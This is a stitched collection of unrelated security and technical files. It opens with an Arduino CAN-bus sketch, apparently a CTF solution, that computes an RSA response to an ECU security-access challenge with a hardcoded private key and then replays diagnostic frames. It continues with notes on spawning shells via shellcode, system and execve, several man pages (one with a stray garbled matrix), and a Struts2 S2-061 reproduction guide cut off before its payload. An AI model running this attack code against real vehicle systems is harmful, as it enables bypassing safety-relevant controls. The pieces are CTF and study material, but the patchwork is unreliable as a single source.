{0, {33, 0, 76, 74, 19, 55, 0, 141}},
{0, {34, 145, 33, 9, 73, 73, 0, 76}},
{0, {35, 70, 74, 74, 74, 74, 0, 78}},
{0, {36, 143, 67, 67, 67, 67, 67, 67}},
{0, {37, 67, 67, 67, 67, 67, 67, 67}},
{0, {38, 67, 67, 67, 67, 67, 67, 67}},
{0, {39, 67, 67, 67, 67, 67, 67, 67}},
{0, {40, 67, 67, 67, 67, 67, 67, 67}},
{0, {41, 67, 67, 1, 68, 68, 1, 69}},
{0, {42, 69, 49, 4, 147, 184, 90, 255}},
{0, {43, 255, 255, 255, 255, 255, 255, 255}},
{0, {44, 255, 255, 255, 255, 255, 255, 255}},
{0, {45, 255, 255, 255, 255, 255, 255, 1}},
{0, {46, 0, 0, 0, 0, 0, 0, 0}},
{0, {47, 0, 0, 0, 0, 0, 0, 0}},
{0, {32, 0, 0, 0, 0, 0, 0, 0}},
{0, {33, 0, 0, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 71, 71, 71, 71}},
{0, {42, 71, 72, 72, 72, 72, 64, 0}},
};
#else
struct canx {
uint16_t sid;
unsigned char data[8];
};
const canx cans[] PROGMEM = {
{1910, {18, 118, 48, 62, 65, 59, 66, 66}},
{0, {33, 0, 76, 74, 19, 55, 0, 141}},
{0, {34, 145, 33, 9, 73, 73, 0, 76}},
{0, {35, 70, 74, 74, 74, 74, 0, 78}},
{0, {36, 143, 67, 67, 67, 67, 67, 67}},
{0, {37, 67, 67, 67, 67, 67, 67, 67}},
{0, {38, 67, 67, 67, 67, 67, 67, 67}},
{0, {39, 67, 67, 67, 67, 67, 67, 67}},
{0, {40, 67, 67, 67, 67, 67, 67, 67}},
{0, {41, 67, 67, 1, 68, 68, 1, 69}},
{0, {42, 69, 49, 4, 50, 43, 110, 255}},
{0, {43, 255, 255, 255, 255, 255, 255, 255}},
{0, {44, 255, 255, 255, 255, 255, 255, 255}},
{0, {45, 255, 255, 255, 255, 255, 255, 1}},
{0, {46, 0, 0, 0, 0, 0, 0, 0}},
{0, {47, 0, 0, 0, 0, 0, 0, 0}},
{0, {32, 0, 0, 0, 0, 0, 0, 0}},
{0, {33, 0, 0, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 70, 70, 70, 70}},
{0, {42, 70, 70, 70, 70, 70, 70, 70}},
{0, {43, 70, 70, 70, 70, 70, 70, 70}},
{0, {44, 70, 70, 70, 70, 70, 70, 70}},
{0, {45, 70, 70, 70, 70, 70, 70, 70}},
{0, {46, 70, 70, 70, 70, 70, 70, 70}},
{0, {47, 70, 70, 70, 70, 70, 70, 70}},
{0, {32, 70, 70, 70, 70, 70, 70, 70}},
{0, {33, 70, 70, 70, 70, 70, 70, 70}},
{0, {34, 70, 70, 70, 70, 70, 70, 70}},
{0, {35, 70, 70, 70, 70, 70, 70, 70}},
{0, {36, 70, 70, 70, 70, 70, 70, 70}},
{0, {37, 70, 70, 70, 70, 70, 70, 70}},
{0, {38, 70, 70, 70, 70, 70, 70, 70}},
{0, {39, 70, 70, 70, 70, 70, 70, 70}},
{0, {40, 70, 70, 70, 70, 70, 70, 70}},
{0, {41, 70, 70, 70, 71, 71, 71, 71}},
{0, {42, 71, 72, 72, 72, 72, 64, 0}},
};
#endif
long long N = 0xa59068ffLL;
long long p = 39971LL, q = 69493LL;
long long e = 31337;
long long phi = 2777595240;
long long d = 3467628713;
long long modinv(long long e, long long phi) {
long long d = 0, x1 = 0, x2 = 1, y1 = 1, temp_phi = phi;
while (e > 0) {
long long temp1 = temp_phi / e;
long long temp2 = temp_phi - temp1 * e;
temp_phi = e;
e = temp2;
long long x = x2 - temp1 * x1;
long long y = d - temp1 * y1;
x2 = x1;
x1 = x;
d = y1;
y1 = y;
}
return d + phi;
}
long long modpow(long long a, long long n, long long mod) {
if (n == 0) return 1;
long long half = modpow(a, n/2, mod);
half *= half;
half %= mod;
if (n % 2) {
half *= a;
half %= mod;
}
return half;
}
unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
int which = 0;
unsigned char len = 0;
unsigned char buf[8];
void setup()
{
delay(2000);
Serial.begin(115200);
while (CAN_OK != CAN.begin(CAN_100KBPS, MCP_8MHz)) {
Serial.println("CAN BUS Shield init fail");
Serial.println(" Init CAN BUS Shield again");
delay(100);
}
Serial.println("CAN BUS Shield init ok!");
delay(1000);
while (1) {
if(CAN_MSGAVAIL == CAN.checkReceive()){
Serial.println("discard msg");
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
delay(1000);
}
else { break; }
}
//while(1);
CAN.sendMsgBuf(0x665, 0, 8, (unsigned char*)"\x10\x06\x27\x01ZZZZ");
int cnt = 0;
long long challenge = 0;
while (1) {
if(CAN_MSGAVAIL == CAN.checkReceive()){
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
unsigned int canId = CAN.getCanId();
Serial.println("-----------------------------");
Serial.print("Get data from ID: ");
Serial.println(canId, HEX);
for(int i = 0; i<len; i++) // print the data
{
Serial.print(buf[i], HEX);
Serial.print(" ");
}
Serial.println();
if (cnt == 0) {
challenge |= (long long)buf[4];
challenge |= (long long)buf[5] << 8;
challenge |= (long long)buf[6] << 16;
challenge |= (long long)buf[7] << 24;
cnt = 1;
}
else if (cnt == 1) {
challenge |= (long long)buf[1] << 32;
challenge |= (long long)buf[2] << 40;
challenge |= (long long)buf[3] << 48;
challenge |= (long long)buf[4] << 56;
cnt = 2;
break;
}
}
}
Serial.print("Challenge: ");
Serial.println((unsigned long)challenge, HEX);
long long resp = modpow(challenge, d, N);
Serial.print("Response: ");
Serial.println((unsigned long)resp, HEX);
buf[0] = 0x10;
buf[1] = 10;
buf[2] = 0x27;
buf[3] = 0x00;
buf[4] = resp & 0xff;
buf[5] = (resp >> 8) & 0xff;
buf[6] = (resp >> 16) & 0xff;
buf[7] = (resp >> 24) & 0xff;
CAN.sendMsgBuf(0x665, 0, 8, buf);
buf[0] = 0x21;
buf[1] = (resp >> 32) & 0xff;
buf[2] = (resp >> 40) & 0xff;
buf[3] = (resp >> 48) & 0xff;
buf[4] = (resp >> 56) & 0xff;
buf[5] = 0;
buf[6] = 0;
buf[7] = 0;
CAN.sendMsgBuf(0x665, 0, 8, buf);
while (1) {
if(CAN_MSGAVAIL == CAN.checkReceive()){
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
unsigned int canId = CAN.getCanId();
Serial.println("-----------------------------");
Serial.print("Get data from ID: ");
Serial.println(canId, HEX);
for(int i = 0; i<len; i++) // print the data
{
Serial.print(buf[i], HEX);
Serial.print(" ");
}
Serial.println();
break;
}
}
buf[0] = 4;
buf[1] = 0x31;
buf[2] = 0x01;
buf[3] = 0x43;
buf[4] = 0x01;
CAN.sendMsgBuf(0x665, 0, 5, buf);
while (1) {
if(CAN_MSGAVAIL == CAN.checkReceive()){
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
unsigned int canId = CAN.getCanId();
Serial.println("-----------------------------");
Serial.print("Get data from ID: ");
Serial.println(canId, HEX);
for(int i = 0; i<len; i++) // print the data
{
Serial.print(buf[i], HEX);
Serial.print(" ");
}
Serial.println();
break;
}
}
Serial.println("Reset the RHME board now.");
delay(60000);
Serial.println("Continuing.");
while(1)
f();
while(1);
}
void loop(){}
void f()
{
for (int i=0; i<8; i++)
stmp[i] = pgm_read_byte_near(&cans[which].data[i]);
CAN.sendMsgBuf(pgm_read_word_near(&cans[which].sid), 0, 8, stmp);
Serial.println(which);
delay(1000);
while(CAN_MSGAVAIL == CAN.checkReceive()) // check if data coming
{
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf
unsigned int canId = CAN.getCanId();
Serial.println("-----------------------------");
Serial.print("Get data from ID: ");
Serial.println(canId, HEX);
for(int i = 0; i<len; i++) // print the data
{
Serial.print(buf[i], HEX);
Serial.print(" ");
}
Serial.println();
}
which++;
if (which * sizeof(canx) == sizeof(cans)) which = 0;
}
// END FILE
|
sec-knowleage
|
### 利用overview进行shell 获取
我们获取到的 shell 一般有两种形式
- 直接可交互的 shell
- 将 shell 绑定到指定 ip 的指定端口
下面总结几种常见的获取 shell 的方式。
### 利用shellcode进行shell 获取
在利用 shellcode 获取 shell 时,基本要求就是我们能够将 shellcode 布置在**可写可执行的内存区域**中。因此,在没有可写可执行的内存区域的时候,我们需要利用`mprotect` 等函数设置相关内存的权限。
此外,有时候可能 shellcode 中的字符必须满足某些要求,比如可打印字符,字母,数字等等。
### 利用system进行shell 获取
我们这里一般是执行 system("/bin/sh"),system('sh') 等函数。
这里我们主要需要找到一些地址,可以参考获取地址的小节。
- system 的地址
- "/bin/sh", “sh” 地址
- binary 里面是否字符串
- 考虑个人读取对应字符串
- libc 中其实是有 /bin/sh 的
在 system 获取 shell 时,一个非常好的优点在于我们只需要布置一个参数就可以了,缺点就是我们在布置参数时,可能因为破坏了环境变量而无法执行。
### 利用execve进行shell 获取
执行 execve("/bin/sh",NULL,NULL)。
在利用 `execve` 获取 shell 时,前几条同 system 一致。但它具有一个优点就是几乎不受环境变量的影响。但是缺点在于我们需要布置三个参数。
此外,glibc 中我们还可以使用 one_gadget 来获取 shell。
### 利用syscall进行shell 获取
系统调用号 `__NR_execve` 在 IA-32 中为 11,x86-64 为 59。
它的优点在于几乎不受环境变量的影响。然而我们需要找到 `syscall` 之类的系统调用命令。
|
sec-knowleage
|
ltrace
===
用来跟踪进程调用库函数的情况
## 补充说明
**ltrace命令** 是用来跟踪进程调用库函数的情况。
### 语法
```shell
ltrace [option ...] [command [arg ...]]
```
### 选项
```shell
-a 对齐具体某个列的返回值。
-c 计算时间和调用,并在程序退出时打印摘要。
-C 解码低级别名称(内核级)为用户级名称。
-d 打印调试信息。
-e 改变跟踪的事件。
-f 跟踪子进程。
-h 打印帮助信息。
-i 打印指令指针,当库调用时。
-l 只打印某个库中的调用。
-L 不打印库调用。
-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
-o, --output=file 把输出定向到文件。
-p PID 附着在值为PID的进程号上进行ltrace。
-r 打印相对时间戳。
-s STRLEN 设置打印的字符串最大长度。
-S 显示系统调用。
-t, -tt, -ttt 打印绝对时间戳。
-T 输出每个调用过程的时间开销。
-u USERNAME 使用某个用户id或组ID来运行命令。
-V, --version 打印版本信息,然后退出。
-x NAME treat the global NAME like a library subroutine.(求翻译)
```
### 实例
最基本应用,不带任何参数:
```shell
[guest@localhost tmp]$ ltrace ./a.out
__libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540 <unfinished ...>
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24
printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23
printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
```
输出调用时间开销:
```shell
[guest@localhost tmp]$ ltrace -T ./a.out
__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 <unfinished ...>
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155>
printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.000153>
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++
```
显示系统调用:
```shell
[guest@localhost tmp]$ ltrace -S ./a.out
SYS_brk(NULL) = 0x9e20000
SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
SYS_open("/etc/ld.so.preload", 0, 02) = 3
SYS_fstat64(3, 0xbfbd7a94, 0xa4afc0, -1, 3) = 0
SYS_mmap2(0, 17, 3, 2, 3) = 0xb7f2a000
SYS_close(3) = 0
SYS_open("/lib/libcwait.so", 0, 00) = 3
SYS_read(3, "\177ELF\001\001\001", 512) = 512
SYS_fstat64(3, 0xbfbd76fc, 0xa4afc0, 4, 0xa4b658) = 0
SYS_mmap2(0, 4096, 3, 34, -1) = 0xb7f29000
SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000
SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
.............省去若干行
```
|
sec-knowleage
|
.TH LAPACK 7 "2 April 1993" "LAPACK Version 1.1" "LAPACK FORTRAN LIBRARY ROUTINES"
.SH NAME
LAPACK \- library of linear algebra routines
.SH 什么是 LAPACK ?
.in -0.3i
\fBLAPACK\fR 是一个 \fIFortran 77\fR 子程序的 transportable library ,
用来解决多数数字线性代数中共同的问题:
systems of linear equations, linear least squares problems, eigenvalue problems,
还有 singular value problems.
它在大部分现代的高性能计算机中可以高效地运作。
\fBLAPACK\fR 是 \fILINPACK\fR 和 \fIEISPACK\fR 的后继者。
它扩展了这些库的功能,包含了线性系统的
equilibration, iterative refinement, error bounds, 和 driver routines,
routines for computing and re-ordering the Schur factorization,
还有 condition estimation routines for eigenvalue problems.
\fBLAPACK\fR 通过包含
finding singular values and eigenvalues of bidiagonal and tridiagonal matrices
respectively that arise in SVD and symmetric eigenvalue problems
的高精度算法提高了 \fIEISPACK\fR 中标准算法的精度。
这些算法和软件被重新编写,在向量处理器上,高性能 ``superscalar'' 工作站上和
共享内存的多处理器上都可以获得高效率。
\fBLAPACK\fR 软件还附带了一个复杂的测试和时间测算套件。
.SH 如何得到 LAPACK
.in -0.3i
完整的 \fBLAPACK\fR 软件包可以从 xnetlib 和 NAG 得到,也可以从 netlib 获得特定的库。
要查看 \fBLAPACK\fR 内容的描述,向 netlib@ornl.gov 发一封消息类型为:
\fIsend index from lapack\fR 的电子邮件。
Xnetlib is an X-version of netlib recently developed at the University
of Tennessee and Oak Ridge National Laboratory. Unlike netlib, which
uses electronic mail to process requests for software and other text,
xnetlib uses an X Window graphical user interface and a socket-based
connection between the user's machine and the xnetlib server machine to
process software requests. The complete contents of LAPACK is available
in tar/compress format from xnetlib.
To receive a copy of xnetlib send the message "send xnetlib.shar from
xnetlib" to netlib@ornl.gov.
When you receive the shar file, remove the mail header, save it to a
file, type 'sh filename' and follow the instructions in the README
file.
Alternatively, the complete LAPACK package can be
obtained from NAG on magnetic media for a handling charge.
For further details contact NAG at one of the following addresses:
.nf
NAG Inc NAG Ltd NAG GmbH
1400 Opus Place Wilkinson House Schleissheimerstrasse 5
Suite 200 Jordan Hill Road W-8046 Garching bei Munchen
Downers Grove, IL 60515-5702 Oxford OX2 8DR Germany
USA England
Tel: +1 708 971 2337 Tel: +44 865 511245 Tel: +49 89 3207395
Fax: +1 708 971 2706 Fax: +44 865 310139 Fax: +49 89 3207396
.fi
LAPACK has been thoroughly tested, on many different
types of computers. The LAPACK project supports the package in the
sense that reports of errors or poor performance will gain immediate
attention from the developers. Such reports, descriptions
of interesting applications, and other comments should be sent by
electronic mail to lapack@cs.utk.edu.
.SH LAPACK USERS' GUIDE
.in -0.3i
The LAPACK Users' Guide is published by SIAM and was made available
May, 1992. LAPACK Users' Guide gives an informal introduction to
the design of the algorithms and software, summarizes the contents
of the package, and describes the conventions used in the software
and documentation, and includes complete specifications for calling
the routines. The LAPACK Users' Guide can be purchased from:
SIAM; 3600 University City Science Center; Philadelphia, PA 19104-2688;
215-382-9800, FAX 215-386-7999. It will also be available from
booksellers. The Guide costs $15.60 for SIAM members, and $19.50
for non-members. Please specify order code OT31 when ordering.
To order by email, send email to service@siam.org.
A list of known problems, bugs, and compiler errors for LAPACK, as
well as errata for the LAPACK Users' Guide and the LAPACK code itself, is
maintained on netlib. For a copy of this report, send email to
netlib@ornl.gov with a message of the form: send release_notes from
lapack.
.SH LAPACK WORKING NOTES
.in -0.3i
A number of working notes were written during the
development of LAPACK and published as LAPACK Working Notes,
initially by Argonne National Laboratory and later by the University
of Tennessee. Many of these reports have subsequently appeared as
journal articles. Most of these working notes are available in postscript
form from netlib. To receive a list of available reports, send email to
netlib@ornl.gov with a message of the form: send index from lapack/lawns.
Otherwise, requests for copies of these working notes can be sent to
the following address.
LAPACK Project
c/o J.J. Dongarra
Computer Science Department
University of Tennessee
Knoxville, Tennessee 37996-1301
USA
Email: lapack@cs.utk.edu
.SH ACKNOWLEDGEMENTS
.in -0.3i
LAPACK has been funded in part by NSF, DOE, and DARPA, with
developmental support from NAG Ltd., Cray Research, and many friends
and colleagues around the world.
Ed Anderson, Zhao-jun Bai, Chris Bischof, Jim Demmel, Jack Dongarra,
Jeremy Du Croz, Anne Greenbaum, Sven Hammarling, Alan McKenney,
Susan Ostrouchov, and Danny Sorensen
( l l l l )
( a -a a -a )
1/4 * ( p p -p -p )
( a -a -a a )
( c c -c -c )
( k -k -k k )
.SH NAMING SCHEME
.in -0.3i
The name of each LAPACK routine is a coded specification of
its function (within the very tight limits of standard Fortran 77
6-character names).
All driver and computational routines have names of the form XYYZZZ,
where for some driver routines the 6th character is blank.
The first letter, X, indicates the data type as follows:
S REAL
D DOUBLE PRECISION
C COMPLEX
Z COMPLEX*16 or DOUBLE COMPLEX
The next two letters, YY, indicate the type of matrix (or of the most
significant matrix). Most of these two-letter codes apply to both real
and complex matrices; a few apply specifically to one or the other.
The last three letters ZZZ indicate the computation performed.
For example, SGEBRD is a single precision routine that performs a
bidiagonal reduction (BRD) of a real general matrix.
.SH "[中文版维护人]"
.B 姓名 <email>
.SH "[中文版最新更新]"
.B yyyy.mm.dd
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DELETE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DELETE \- 删除一个表中的行
.SH SYNOPSIS
.sp
.nf
DELETE FROM [ ONLY ] \fItable\fR [ WHERE \fIcondition\fR ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDELETE\fR 从指明的表里删除满足 WHERE 子句的行。 如果 WHERE 子句不存在, 效果是删除表中所有行。结果是一个有效的空表。
.sp
.RS
.B "Tip:"
提示: TRUNCATE [\fBtruncate\fR(7)] 是一个 PostgreSQL 扩展, 它提供一个更快的从表中删除所有行的机制。
.RE
.sp
.PP
缺省时 DELETE 将删除所声明的表和所有它的子表的记录。 如果你希望只更新提到的表,你应该使用 ONLY 子句。
.PP
要对表进行删除,你必须对它有 DELETE 权限,同样也必须有 SELECT 的权限,这样才能对符合 condition 的值进行读取操作。
.SH "PARAMETERS 参数"
.TP
\fB\fItable\fB\fR
一个现存表的名字(可以有模式修饰)。
.TP
\fB\fIcondition\fB\fR
一个返回 boolean 类型值的值表达式,它判断哪些行需要被删除。
.SH "OUTPUTS 输出"
.PP
成功时,DELETE 命令返回形如
.sp
.nf
DELETE \fIcount\fR
.sp
.fi
的标签。 count 是被删除的行数。 如果 count 为 0,没有行匹配 condition (这个不认为是错误)。
.SH "EXAMPLES 例子"
.PP
删除所有电影(films)但不删除音乐(musicals):
.sp
.nf
DELETE FROM films WHERE kind <> 'Musical';
.sp
.fi
.PP
清空表 films:
.sp
.nf
DELETE FROM films;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
这条命令遵循 SQL 标准。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
## 4. 抽象工厂(Abstract Factory)
### Intent
提供一个接口,用于创建 **相关的对象家族** 。
### Class Diagram
抽象工厂模式创建的是对象家族,也就是很多对象而不是一个对象,并且这些对象是相关的,也就是说必须一起创建出来。而工厂方法模式只是用于创建一个对象,这和抽象工厂模式有很大不同。
抽象工厂模式用到了工厂方法模式来创建单一对象,AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现,这两个方法单独来看就是在创建一个对象,这符合工厂方法模式的定义。
至于创建对象的家族这一概念是在 Client 体现,Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象,在这里这两个对象就有很大的相关性,Client 需要同时创建出这两个对象。
从高层次来看,抽象工厂使用了组合,即 Cilent 组合了 AbstractFactory,而工厂方法模式使用了继承。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e2190c36-8b27-4690-bde5-9911020a1294.png"/> </div><br>
### Implementation
```java
public class AbstractProductA {
}
```
```java
public class AbstractProductB {
}
```
```java
public class ProductA1 extends AbstractProductA {
}
```
```java
public class ProductA2 extends AbstractProductA {
}
```
```java
public class ProductB1 extends AbstractProductB {
}
```
```java
public class ProductB2 extends AbstractProductB {
}
```
```java
public abstract class AbstractFactory {
abstract AbstractProductA createProductA();
abstract AbstractProductB createProductB();
}
```
```java
public class ConcreteFactory1 extends AbstractFactory {
AbstractProductA createProductA() {
return new ProductA1();
}
AbstractProductB createProductB() {
return new ProductB1();
}
}
```
```java
public class ConcreteFactory2 extends AbstractFactory {
AbstractProductA createProductA() {
return new ProductA2();
}
AbstractProductB createProductB() {
return new ProductB2();
}
}
```
```java
public class Client {
public static void main(String[] args) {
AbstractFactory abstractFactory = new ConcreteFactory1();
AbstractProductA productA = abstractFactory.createProductA();
AbstractProductB productB = abstractFactory.createProductB();
// do something with productA and productB
}
}
```
### JDK
- [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html)
- [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--)
- [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--)
|
sec-knowleage
|
# Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)
S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
参考链接:
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://github.com/ka1n4t/CVE-2020-17530
- https://www.anquanke.com/post/id/225252
- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
## 漏洞环境
执行如下命令启动一个Struts2 2.5.25版本环境:
```
docker compose up -d
```
环境启动后,访问`http://target-ip:8080/index.action`查看到首页。
## 漏洞复现
发送如下数据包,即可执行`id`命令:
```
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
